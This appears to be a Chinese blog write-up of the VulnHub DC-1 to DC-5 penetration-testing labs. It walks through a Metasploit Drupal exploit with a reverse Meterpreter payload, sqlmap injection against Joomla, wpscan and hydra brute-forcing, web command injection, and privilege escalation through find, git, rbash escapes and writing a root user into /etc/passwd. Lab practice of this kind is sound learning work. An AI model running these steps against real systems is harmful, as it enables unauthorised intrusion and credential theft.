DC

Posted by wx_x on 2022-02-04
Words 14.6k and Reading Time 59 Minutes
Viewed Times

渗透初探,内网操作,下面是dc系列靶场

:https://download.vulnhub.com/dc/或http://www.five86.com/downloads.html - Google 搜索

1
ufw disable  //关闭傻逼防火墙kali,天天给我开

DC-1

前置知识

打开靶场

linux必备命令

shell

外壳程序(Shell) 为你提供与 Unix 操作系统的交互接口。它收集来自你的输入并解释输入并执行,当执行完成后,显示执行输出结果运行的外壳程序是一个运行环境,你可以在其中执行命令,运行程序或外壳脚本等。

apt

PHP Meterpreter后门

SUID- find提权

Linux中find命令用法全汇总,看完就没有不会用的! - 云+社区 - 腾讯云 (tencent.com)

探测内网存活主机

使用Arp-Scan挥或者Netdiscover

1
2
arp-scan -l //arp-scan可用来发现本地网络上的IP主机。
netdiscover -r ip/netmask //我没成功。。。

DC-1 实操

信息收集

由于均在同一局域网下,可以在kali进行内网探测,使用arp-scan命令:arp-scan-l,即可探测得目标ip:192.168.136.131,得到ip后,第一个想到nmap扫一下nmap -sS 192.168.136.131,端口22,80,111开放,发现是drupal整站系统(CMS),直接搜寻该CMS漏洞,发现可以使用msf渗透攻击。

msfconsole渗透攻击

msfconsole使用非常方便快捷,有些kali自带,有些需要自己下载,有时候下载也不会很顺利,慢慢解决即可。

1
2
3
4
5
6
7
8
9
msfconsole
search Drupal
use 2
show payloads //查看相关命令
set payload 15 //也可以set payload php/meterpreter/reverse_tcp
set rhosts 192.168.136.131//设定目标机ip address
run//开始攻击
-·-·-·-·-·-·-·-·-·loading·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·--·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
结束攻击时,会回显 meterpreter> //即可开始操作,这就开始linux命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ls //即可发现flag1.txt,也可以获得所在位置
cat flag1.txt //查看后告诉我们去找配置文件,我们在打网站,所以应该去找sites的settings
cd sites
ls
cat settings.php //我们可以发现mysql的账号密码,于是我们开始尝试登录,查看用户信息
mysql -udbuser -pR0ck3t//发现数据库只能本地连接,那么我们这就需要反弹一个shell
python -c 'import pty;pty.spawn("/bin/bash")'//进入www-data@DC-1:/var/www/
mysql -udbuser -pR0ck3t
show databses;/s/打连环拳
use drupdb;
show tables;//发现有users表,这正是我们每次渴望的
select * from users;//可以发现用户的登陆密码使用加密算法加密过,我们很难看明白使用了什么方式加密,所以这里就需要更换思路,尝试采用对方的加密方式覆盖掉原来的密码就可以了。
cd ../../ //重新回到www目录,那么开始找寻加密算法,直接去scripts(一个一个找有关passwd)
cd scripts
ls //果然发现有password-hash.sh,SH文件是脚本 为bash编程
php password-hash.sh 123 //php使用该加密算法,'123'为被加密明文,执行后即可看到加密密文
mysql -udbuser -pR0ck3t //再次进入数据库,进入drupaldb。
update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1//替换代码,基础sql语句

到这里就可以登陆网站看看了,其实我也不是很懂这个admin/content怎么来的。。

言归正传,这里就可以看到flag3.txt了,查看发现,告诉我们有东西在root目录下。

1
2
3
4
5
6
cd /root //不出意外,我被denied了,但是但是,flag3.txt提示我们使用find提权。
cd //回到网站目录/www
touch a
find / a -exec "/bin/sh"\; //一步到位。原理可能看一天忘一天。。。
#cd /root
cat thefinalflag.txt

image-20220506104731510

DC-2

前置知识

cewl使用(概括)

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。需要配合使用!

dirb扫目录(kali)

1
dirb http://192.168.136.130/   //千万注意格式,cewl也是一定要注意格式,windows可以使用御剑以及7Kbscan。

wpscan(可结合Metasploit‘msf’利用插件中的漏洞)

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,其中特别多人拿wpscan去扫WordPress的漏洞。

教程:https://www.freebuf.com/sectool/174663.html

WordPress网站内容管理系统

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。辨别方法:查看源码中,搜索 wp-content,有那么就是wpress网站内容管理系统,可以搜寻相关漏洞复现。

参考:https://www.websiterating.com/zh-CN/wordpress/most-common-wordpress-vulnerabilities/

rebash绕过:

rbash是受限的shell的一种此外还有rbash、rksh和rsh,说到底,是防止获取到shell的非管理人员进行敏感操作。

https://blog.csdn.net/weixin_43705814/article/details/111879362?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162589028916780274151824%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162589028916780274151824&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-111879362.first_rank_v2_pc_rank_v29&utm_term=rbash&spm=1018.2226.3001.4187

sudo提权

https://blog.csdn.net/qq_41123867/article/details/105150776

DC-2 实操

1
2
3
4
arp-scan -l
nmap -A -v 192.168.136.130 //发现开启80端口,那么直接访问,会出现找不到dc-2服务器。这时候进入kali 的/etc/hosts,写入 192.168.136.130 dc-2 即可。
vim /ect/hosts //写入后,就可以直接192.168.136.130访问到界面了
访问192.168.136.130,即可看到flag标签,点击标签即可获得flag1,获得提示,叫我们去wpscan爆破,但是当前页面没有爆破的点啊,第一反应是目录扫描,其实这些都应该在上一步就完成,都是很重要的收集。

image-20211104202233052

1
2
3
4
5
6
7
dirb http://192.168.136.130/ //爆破目录,注意格式┗|`O′|┛ 嗷~~,
==> DIRECTORY: http://192.168.136.130/wp-admin/ //非常之熟悉,点开即可,进入到登陆界面,开启wpscan爆破之旅
cewl http://dc-2/ -w pass.txt //注意格式
cat pass.txt //查看生成字典,wpscan需要自己导入字典,kali的导入就直接命令行输入所生成的字典名称。
wpscan --url http://dc-2/ -e u //开始枚举wordpress用户名,admin,jerry,tom三个用户。
vim user.txt //创建用户字典文件,用来wpscan爆破,注意pass.txt与user.txt需要在同一个目录下,自此,username与passwd都准备好了。
wpscan --url http://dc-2/ -U user.txt -P pass.txt //使用wpscan进行暴力破解,获得了jerry和tom的密码,那么开干,直接登录即可获得flag2(tom这个g掉了,诱饵用户?存在肯定有他的道理,在没有绝对证据的前提下,千万不要否认任何一个给的信息)。

image-20211104220323764

1
2
3
Flag2:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。

很好很好,马上想到ssh进行远程连接,因为上文有多一个账号密码。

1
kali用法:ssh 用户名@xxx.xxx.xxx.xxx -p 7744
1
2
ssh jerry@192.168.136.130 -p 7744   //无论怎么样登录都是denied,那就换一个
ssh tom@192.168.136.130 -p 7744 //可以登录,输入密码后,即可进入

tom账户下的命令行

1
2
3
4
5
ls  //可以看到有flag3.txt
vim flag3.txt //错误:-rbash: cat: command not found
cat flag3.txt //错误:-rbash: cat: command not found
第一反应该是搜索-rbash绕过以及提权,但是我想起来之前配置kali的时候,不知什么原因没有下载vim,但是我这个镜像不给力,所以只能被迫搜索没有vim的情况下修改镜像,发现可以使用 ‘vi’,就可以直接写入,只是用法稍微与vim有所不同。
vi flag3.txt //hah直接读出。但是后面也需要进行提权,没办法还是要提权,小窃喜一波。看提示!

image-20211104222521226

1
2
3
4
5
BASH_CMDS[a]=/bin/sh;a  注:把/bin/bash给a变量
export PATH=$PATH:/bin/ 注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin 注:将/usr/bin作为PATH环境变量导出
完成提权,可以直接cat flag3.txt。
提示说"可怜的老汤姆总是在追杰瑞。也许他应该忍受他造成的所有压力。",有杰瑞,有汤米,尝试切换 su jerry ,输入密码后,发现进入了jerry的账户,但是ls又被rbash给ban了,难道又要绕过,非也非也。

jerry命令行

1
2
3
4
5
6
7
8
9
cd ../
ls //发现jerry目录
cd jerry
ls //发现flag4.txt
flag4.txt:
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!

git肯定有点东西,也知道还需要提权。attention!!!这里我得去kali虚拟机里操作,不然一直不出git -p 之后不出命令行,上面没有写在哪操作的一律在windows操作。

1
2
3
4
sudo git -p 
:!/bin/bash
cd /root
cat flnal-flag.txt //完成

DC-3

前置知识

nmap脚本script的使用

1
2
脚本扫描,参考https://zhuanlan.zhihu.com/p/26618074
nmap --script=vuln 192.168.136.131 //这个是相对与使用joomscan方便一点

Joomia的CMS扫描

使用joomscan,获得网站版本信息,以及后台登陆地址。

查看kali的漏洞库

1
searchsploit参考:https://blog.51cto.com/simeon/2927824
1
2
3
4
searchsploit joomla 3.7.0 //获取对应病毒库中的信息位置
cd /usr/share/exploitdb/exploits/php/webapps
ls //即可查看kali自带病毒库源文件,searchexploit命令也是在这里检索。
cat xxxx.txt

image-20211106111154507

john破解散列哈希

1
2
https://blog.csdn.net/WQ_BCJ/article/details/84992462
hashid识别不同类型的散列加密: hashid [option] INPUT

反弹shell(初次接触,打好基础)

1
2
3
4
5
6
7
8
9
10
11
12
本质:C/S反转
解释:攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,为反弹连接,反向连接
为何要反弹,反向连接?
用于:被控端因防火墙受限、权限不足、端口被占用等情形(多人解释)
原因:因为正向连接在一定情况下使用成本高:
1.动态ip的受害者主机
2.受害者主机中网马但处于局域网内
3.当未知受害者主机是否成功中招,以及未知受害者主机各种情况时(所处网络环境,何时上线)
故建立一服务端,使受害者主机上线后主动连接。
-----------------------------------------------------------------------------------------------------------------------------------------通俗说法:shell是操作主机的接口,反弹shell就是把权限弹给别人,让其它人可以操作自己的计算机,也是为后渗透的方便。
https://www.hackbase.net/security/secschool/261444.html
https://www.bilibili.com/read/cv8186663

一句话木马

1
2
3
4
5
6
https://xz.aliyun.com/t/6957 
php参考手册:https://www.php.net/manual/zh/index.php

这玩意儿我看了好多次都忘记,记得他是将文本按照命令执行,然后返回结果的就行。

eval函数:在一些程序语言中,eval 是一个把字符串当作表达式执行而返回一个结果的函数;在另一些之中,它执行多行的代码就好像它们被包括在其中,而不是包括eval 的这一行。eval 的输入不一定是字符串;在支持句法抽象的语言中,eval 的输入将会由抽象句法形式组成。

哥斯拉使用

DC-3实操

依然开启靶机,设置网络设置到NAT模式,更改设置为下图所示,之前的不用设置,不知为何这个要设置,不然就报错,打不开。

image-20211106132646805

1
2
3
4
5
6
7
arp-scan -l   //本次靶机ip:192.168.136.131
nmap -A -v 192.168.136.131 //获取开启端口信息
ping 192.168.136.131 //点开网站之后,点击wappalyzer插件,查看网站搭建信息。获取CMS为Joomla,当然使用 whatweb 命令也可以进行指纹识别(CMS扫描),得到CMS版本后,就搜寻相关漏洞即可。
joomscan -url http://192.168.136.131/ //mad一定要注意url格式,别打错。获取joomla的版本信息,以及其后台登陆地址,获取后点开后台网址,就可以看到一个登陆页面。
searchspolit joomla 3.7.0 //搜寻相关版本漏洞,发现存在sql注入,并且有利用文档在kali自带漏洞库,并且给出路径。
cd /usr/share/exploitdb/exploits/php/
cat 43033.txt //这些都是searchsploit给出

image-20211106134000221

非常好,非常好,利用方法就差点喂给我了。接下来就交给自动化注入sqlmap吧。

sqlmap参数参考:https://blog.csdn.net/Breeze_CAT/article/details/80628392

1
2
爆库:
sqlmap -u "http://192.168.136.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20211106134458306

1
2
爆joomladb表
sqlmap -u "http://192.168.136.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

这里我遇到了sqlmap版本过低,找寻更新方法的时候,却忘记了kali可以直接install没有的应用,那我直接cd /usr/sharerm -rf sqlmap,然后sqlmap,就可以下载最新版的sqlmap了。

image-20211106135732842

1
2
爆_users表
sqlmap -u "http://192.168.136.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns

image-20211106140815468

1
2
爆username和password
sqlmap -u "http://192.168.136.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump

image-20211106141432224

1
2
3
4
cd /
vim 1.txt //写入hash进入1.txt
john 1.txt //得到密码:snoopy
成功登陆后台。

2021/11/8 号时,就已经被设置后门难住,对自我产生怀疑,现在虽然知道方法,个人认为,为了加深记忆,后面在回过头设置,注意msf使用,对于新手,可以说是一款非常棒的工具,其次还要注意各种漏洞的学习,挖掘其本质。

DC-4

前置知识

kali中bp的使用

1
2
3
4
#打开命令行
burpsuite //即可打开
#火狐设置代理,下载switchomega,照搬windows配置
#这边bp被锁功能,要自己安装一个。。。。也可以装pro

熟悉kali自带的任何板块

1
2
3
这里就提一嘴kali自带字典,有时候可以就直接再kali整,不用出去。
share是个很不错的地方
/usr/share/john/password.lst

image-20211114001105744

一些拿到交互端口后的信息收集

linux命令参考手册:https://www.runoob.com/linux/linux-command-manual.html

1
2
# id  //无选项时,打印真实以及有效的用户和所在组的信息
# unmame //linux中查询系统基本信息的命令

linux中的ect文件目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
etc不是什么缩写,是and so on的意思 来源于 法语的 et cetera 翻译成中文就是 等等 的意思. 至于为什么在/etc下面存放配置文件, 按照原始的UNIX的说法(linux文件结构参考UNIX的教学实现MINIX) 这下面放的都是一堆零零碎碎的东西, 就叫etc, 这其实是个历史遗留.

这个目录一般用来存放程序所需的整个文件系统的配置文件.

/etc目录
  包含很多文件.许多网络配置文件也在/etc 中.

/etc/rc or/etc/rc.d or/etc/rc*.d
  启动、或改变运行级时运行的scripts或scripts的目录.

/etc/passwd
  用户数据库,其中的域给出了用户名、真实姓名、家目录、加密的口令和用户的其他信息.

/etc/fdprm
  软盘参数表.说明不同的软盘格式.用setfdprm 设置.

/etc/fstab
  启动时mount -a命令(在/etc/rc 或等效的启动文件中)自动mount的文件系统列表.Linux下,也包括用swapon -a启用的swap区的信息.

/etc/group
  类似/etc/passwd ,但说明的不是用户而是组.

/etc/inittab
  init 的配置文件.

/etc/issue
  getty在登录提示符前的输出信息.通常包括系统的一段短说明或欢迎信息.内容由系统管理员确定.

/etc/magic
  file 的配置文件.包含不同文件格式的说明,file 基于它猜测文件类型.

/etc/motd
  Message Of TheDay,成功登录后自动输出.内容由系统管理员确定.经常用于通告信息,如计划关机时间的警告.

/etc/mtab
  当前安装的文件系统列表.由scripts初始化,并由mount 命令自动更新.需要一个当前安装的文件系统的列表时使用,例如df命令.

/etc/shadow
  在安装了影子口令软件的系统上的影子口令文件.影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对root可读.这使破译口令更困难.

/etc/login.defs
  login 命令的配置文件.

/etc/printcap
  类似/etc/termcap ,但针对打印机.语法不同.

/etc/profile , /etc/csh.login ,/etc/csh.cshrc
  登录或启动时Bourne或Cshells执行的文件.这允许系统管理员为所有用户建立全局缺省环境.

/etc/securetty
  确认安全终端,即哪个终端允许root登录.一般只列出虚拟控制台,这样就不可能(至少很困难)通过modem或网络闯入系统并得到超级用户特权.

/etc/shells
  列出可信任的shell.chsh 命令允许用户在本文件指定范围内改变登录shell.提供一台机器FTP服务的服务进程ftpd检查用户shell是否列在 /etc/shells 文件中,如果不是将不允许该用户登录.
/etc/termcap
  终端性能数据库.说明不同的终端用什么"转义序列"控制.写程序时不直接输出转义序列(这样只能工作于特定品牌的终端),而是从/etc/termcap中查找要做的工作的正确序列.这样,多数的程序可以在多数终端上运行
1
2
#关于/etc/passwd与/etc/shadow
http://mambainveins.gitee.io/mambainveins/2020/08/11/2020-08-11-linux_etc_passwd_shadow/

linux中的var文件目录

1
2
可以存放mail
再补充

Mydra九头蛇多协议爆破

1
2
3
4
5
6
7
8
9
10
11
语法:Hydra 参数 IP 服务
用途举例:
-暴破ssh登录密码
-FTP协议破解
-http协议破解
-路由器破解
-http-proxy协议破解
-Windows远程桌面
-smb破解
。。。。
https://juejin.cn/post/6967928172369149988

echo等写入命令

混眼熟

1
https://www.cnblogs.com/liuchuanfeng/p/6893680.html

DC-4实操

打开靶机,设置网络模式为nat(老三样)

1
2
arp-scan -l  //得到192,168.136.135
nmap -sS 192.168.136.135 //或者 nmap -A -v 192.168.136.135得到端口信息,发现就只是简简单单的80端口和22端口(这里是ssh端口,基本确实是ssh链接)

浏览器url栏输入 192.168.136.135,发现是一个简答的登陆界面,这时候就不去查什么中间件,直接抓包。

这里我丢出去物理机跑了,得到账号:密码:admin:happy,得到下图。

image-20211114001246001

进入command后,点击RUN,下图

image-20211114001348042

1
2
可以看到,这是一条 ls -l 的输出,抓包查看在哪里输入命令
可以发现修改radio的值可以输入命令

image-20211114132404045

1
2
3
#如何在交互式输出无选项下获取信息
# id //无选项时,打印真实以及有效的用户和所在组的信息
# unmame -a //linux中查询系统基本信息的命令,-a参数是-all,输出所有信息

image-20211114132819518

1
cat /ect/passwd  //查看用户密码,emm这个思路有点难猜。

image-20211114221918811

1
2
#/etc/passwd文件可用于写入提权
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

继续

1
ls -l /home

image-20211114222825317

1
ls -l /home/jim  //轮番查询后,只有jim可打开

image-20211114222934886

1
ls -l /home/jim/backups  //轮番查询,只记录有用信息。

image-20211114223058235

1
cat /home/jim/backups/old-passwords.bak   //看来后需要有爆破步骤,没事,复制下来保存进kali或者物理机,其实这里更推荐使用自己找的万能字典。

image-20211114223228652

1
2
使用hydra对jim用户ssh登录密码进行爆破登录,前期端口扫描埋下了伏笔,22端口开启
hydra -l jim -P 1.txt ssh://192.168.136.135

image-20211114223729238

1
2
使用ssh连接
ssh jim@192.168.136.135

image-20211114223828724

1
2
连接上去后,有提示mail,就是说一定要注意观察,哪怕看着别人的笔记写,也要自己做一遍,不然做等于没做。
发现是charles发的,那就去sudo charles

image-20211114224112713

1
ssh charles@192.168.136.135  //中途因为kali不能给我复制那串密码,我给换到其他地方了

image-20211114224615692

1
2
sudo -l  //-l参数显示出自己(执行 sudo 的使用者)的权限
发现 root权限且无密码执行:/usr/bin/teehee,查询相关知识,发现其 -a参数可以写入

image-20211114224811243

1
2
3
这边复现的时候遇到了一个问题,就是说最后一步提权使用
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
执行失败,su admin 的时候仍然需要密码,正好看到一个师傅的博客有另外一种teehee提权,如下图。

image-20211114225448117

下次有机会鼓捣一下是啥问题。

最后,切换root账户,下次没思路我就切换root,找了半天,就可以了,图床报错,没有截图

DC-5

前置知识

网站目录爆破

1
2
7kbscan,御剑扫描,kali自带的dirb(这个我爆不出来,shit!别人都可以),还有appscans也可以扫出目录
burp(使用fuzz中的目录字典SubdomainDicts),传至intruder模块:下图演示:

image-20211117163326486

正常爆破即可,这里值得注意的是,爆破目录是有后缀的,比如什么.php.txt,本机带的子域名字典直接load是不行的,全部404,还需要添加相关后缀才可。

image-20211117163724272

当然,也可以在这里添加相关后缀(也可以再添加一个变量用来提供后缀选择):

image-20211117163813198

image-20211117163828310

灵活点即可,多试试。但是我还是不理解,别人的其他工具就行,我的就不行,我很气啊!!

1
2
http://www.srcmini.com/60926.html  //DirBuster使用 
https://blog.csdn.net/qq_42580577/article/details/89715126 //kali的字典wordlist介绍

image-20211117165129944

文件包含漏洞

1
2
通俗易懂的讲解:
https://www.csdn.net/tags/MtTaEgysMDc4NDA3LWJsb2cO0O0O.html
1
2
3
4
5
6
7
理解:
使用php包含函数调用公用函数时,被包含的文件被替换成恶意文件,信任前端输入,被恶意文件执行一句话等被getshell,以及各种姿势拿shell。

上传的木马,可能被网站杀毒软件删除,可以利用access日志文件access.log,
其次,调用php文件也可以查看敏感目录,就是直接开waf可以防御。

但该次靶场就直接写入日志,可防杀。(还有很多要学,后渗透乏力)
中间件是什么?

中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统和用户的应用软件的中间。(阿里云文章)

1
https://www.coderxing.com/what-is-middleware-for-architecture.html

中间件(英语:Middleware),又译中间件,是提供系统软件(这里指控制硬件的软件,多指操作系统)和应用软件之间连接的软件,以便于软件各部件之间的沟通,特别是应用软件对于系统软件的集中的逻辑,在现代信息技术应用框架如Web服务、面向服务的体系结构等中应用比较广泛。(维基百科),总的来说,用以运行网站源码;实现高效传输。有Tomcat,apache,nginx等。

中间件不仅仅就这几个,这几个只是网站架构中的中间件;中间件起中介作用,类似于汇聚信息,广发于市,有需求即可申请,等待,取回信息,而不用大费周章,耗费多资源获得,所以需要数据交换和管理的地方都可能出现中间件用以提高效率;当然,中间件也有自己的独特,中间件不负责业务逻辑,不负责底层的硬件逻辑,凡是在这之间的系统都可以理解成“中间件”。(贤哥逻辑)

本次用到的nginx又是什么级别的中间件呢?
Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行,其特点是占用内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。 中国大陆使用 nginx 的网站用户有:百度、京东、新浪、网易、腾讯、淘宝。

1
https://ujoy.net/topics/4867460

DC-5实操

1
2
arp-scan -l
nmap -A -v 192.168.136.129 //开放情况如下图

image-20211119114728513

1
2
那就登陆上去,经过一番不解释点击
发现在留言界面,点击提交后,多次刷新,界面标copyright 20yx 会在thankyou.php目录下更改x(x=7,8,9,0),y(y=1,2)

image-20211119115136055

1
2
没有思路,扫一下网站目录吧,先后尝试了 dirb , 7kbscan , dirsearch ,dirbuster ,甚至都上了appscans。。。。
直到dirbuster才发现一个脚本,也就是包含文件!!我很不理解!!!!为什么前面几个扫不出来!!!我很森气!

所以这里我采用了很多办法,都是扫不出footer.php,只有DirBuster:

image-20211117204452432

于是就很自然的访问 http://192.168.136.129/footer.php ,看看是都可以包含,直接去

image-20211119130732278

然后知道中间件是nginx,然后尝试使用包含一下其他文件,看看行不行

image-20211119133450535

1
其实这里需要爆破一下到底哪个变量动态包含,在不写死的情况下,爆破一下变量,哈哈,这里是知道了的,记得常常看看文件上传的相关wp。

image-20211119140211754

image-20211119140129987

1
ok,回到正题,既然可以发现有变量可以动态包含,那我需要利用它,同样抓包,使用失传已久的一句话木马,尝试使用shell工具连接。

DC-6

这一关开始有点迷茫;一定要坚持,不要与遗忘曲线作斗争

前置知识

1
2
3
4
5
sudo 所有命令
wpscan
自带的burp:按照物理机一样配置环境即可
vi/vim使用:https://www.runoob.com/linux/linux-vim.html
linux下的hosts文件:负责ip地址与域名快速解析的文件

linux根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/bin,它是重要的二进制应用程序,包含二进制文件,系统的所有用户使用的命令都在这里
/boot,启动包含引导加载程序的相关文件
/dev,包含设备文件,终端文件,USB 或者连接到系统的任何设备
/etc,配置文件,启动脚本等,包含所有程序所需要的配置文件,也包含了启动/停止单个应用程序的启动和关闭 shell 脚本
/home,本地主要路径,所有用户用 home 目录存储个人信息
/lib,系统库文件,包含支持位于 /bin 和 /sbin 下的二进制库文件
/lost+found,在根目录下提供一个遗失+查找系统,必须在 root 用户下才能查看当前目录下的内容
/media,挂载可移动介质
/mnt,挂载文件系统
/opt,提供一个可选的应用程序安装目录
/proc,特殊的动态目录,用于维护系统信息和状态,包括当前运行中进程信息
/root,root 用户的主要目录文件夹
/sbin,重要的二进制系统文件
/tmp, 系统和用户创建的临时文件,系统重启时,这个目录下的文件都会被删除
/usr,包含绝大多数用户都能访问的应用程序和文件
/var,经常变化的文件,诸如日志文件或数据库等
在 Linux 中,有两种路径,一种是 绝对路径(absolute path) ,绝对路径告诉你从根目录下查找文件,绝对路径的缺点是太长而且不太方便。还有一种是 相对路径(relative path) ,相对路径所在的目录也叫做工作目录(working directory)。

sudo命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sudo - 以其他用户身份执行一条命令

选项:
-A, --askpass 使用助手程序进行密码提示
-b, --background 在后台运行命令
-B, --bell 提示时响铃
-C, --close-from=num 关闭所有 >= num 的文件描述符
-D, --chdir=directory 运行命令前改变工作目录
-E, --preserve-env 在执行命令时保留用户环境
--preserve-env=list 保留特定的环境变量
-e, --edit 编辑文件而非执行命令
-g, --group=group 以指定的用户组或 ID 执行命令
-H, --set-home 将 HOME 变量设为目标用户的主目录
-h, --help 显示帮助消息并退出
-h, --host=host 在主机上运行命令(如果插件支持)
-i, --login 以目标用户身份运行一个登录
shell;可同时指定一条命令
-K, --remove-timestamp 完全移除时间戳文件
-k, --reset-timestamp 无效的时间戳文件
-l, --list
列出用户权限或检查某个特定命令;对于长格式,使用两次
-n, --non-interactive 非交互模式,不提示
-P, --preserve-groups 保留组向量,而非设置为目标的组向量
-p, --prompt=prompt 使用指定的密码提示
-R, --chroot=directory 运行命令前改变根目录
-r, --role=role 以指定的角色创建 SELinux 安全环境
-S, --stdin 从标准输入读取密码
-s, --shell 以目标用户运行
shell;可同时指定一条命令
-t, --type=type 以指定的类型创建 SELinux 安全环境
-T, --command-timeout=timeout 在达到指定时间限制后终止命令
-U, --other-user=user 在列表模式中显示用户的权限
-u, --user=user 以指定用户或 ID 运行命令(或编辑文件)
-V, --version 显示版本信息并退出
-v, --validate 更新用户的时间戳而不执行命令
-- 停止处理命令行参数

nmap常用命令

nse脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
不完全,比如ssh口令爆破的命令就没有
格式:
nmap [ <扫描类型> …] [ <选项> ] { <扫描目标说明> }

常用命令

全面扫描:nmap-T4 -A targetip
主机发现:nmap-T4 -sn targetip
端口扫描:nmap-T4 targetip
服务扫描:nmap-T4 -sV targetip
操作系统扫描:nmap-T4 -O targetip

扫描类型

-sP 只探测主机在线情况
-sS SYN扫描(隐身扫描)
-ST TCP扫描
-sU UDP扫描
-sV 系统版本检测
-O 操作系统识别
–scanflags 指定TCP标识位(设置URG, ACK, PSH,RST,SYN,FIN位)
时序选项

-T0 偏执的:非常非常慢,用于IDS逃逸
-T1 猥琐的:相当慢,用于IDS逃逸
-T2 有礼貌的:降低速度以消耗更小的带宽,比默认慢十倍
-T3 普通的:默认,根据目标的反应自动调整时间模式
-T4 野蛮的:假定处在一个很好的网络环境,请求可能会淹没目标
-T5 疯狂的:非常野蛮,很可能会淹没目标端口或是漏掉一些开放端口
脚本使用
脚本命令参数
-sC 等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别
–script=<Lua scripts> <Lua scripts>使用某个或某类脚本进行扫描(基于Lua编程的脚本),支持通配符描述!这里是很强的功能,执行nse脚本!
–script-args=<n1=v1,[n2=v2,...]> 为脚本提供默认参数
–script-args-file=filename 使用文件来为脚本提供参数
–script-trace 显示脚本执行过程中发送与接收的数据
–script-updatedb 更新脚本数据库
–script-help=<scripts> 显示脚本的帮助信息,其中<scripts>部分可以逗号分隔的文件或脚本类别
脚本分类
auth 负责处理鉴权证书(绕开鉴权)绕过目标主机得访问控制的脚本
broadcast 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute 提供暴力破解方式,针对常见的应用如http(80,443)/snmp/ssh(22)等;
举例::nmap -p22 --script ssh-brute site.test.lan
default 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos 用于进行拒绝服务攻击
exploit 利用已知的漏洞入侵系统
external 利用第三方的数据库或资源,例如进行whois解析
fuzzer 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware 探测目标机是否感染了病毒、开启了后门等信息
safe 此类与intrusive相反,属于安全性脚本
version 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
按脚本分类扫描
# 负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=auth 192.168.137.*

# 提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=brute 192.168.137.*

# 默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

# 检查是否存在常见漏洞
nmap --script=vuln 192.168.137.*

# 在局域网内探查更多服务开启状况
nmap -n -p445 --script=broadcast 192.168.137.4

# 利用第三方的数据库或资源,例如进行whois解析
nmap --script external 202.103.243.110
按应用服务扫描
vnc扫描:
检查vnc bypass
nmap –script=realvnc-auth-bypass 192.168.137.4

检查vnc认证方式
nmap –script=vnc-auth 192.168.137.4

获取vnc信息
nmap –script=vnc-info 192.168.137.4

smb扫描:
smb破解
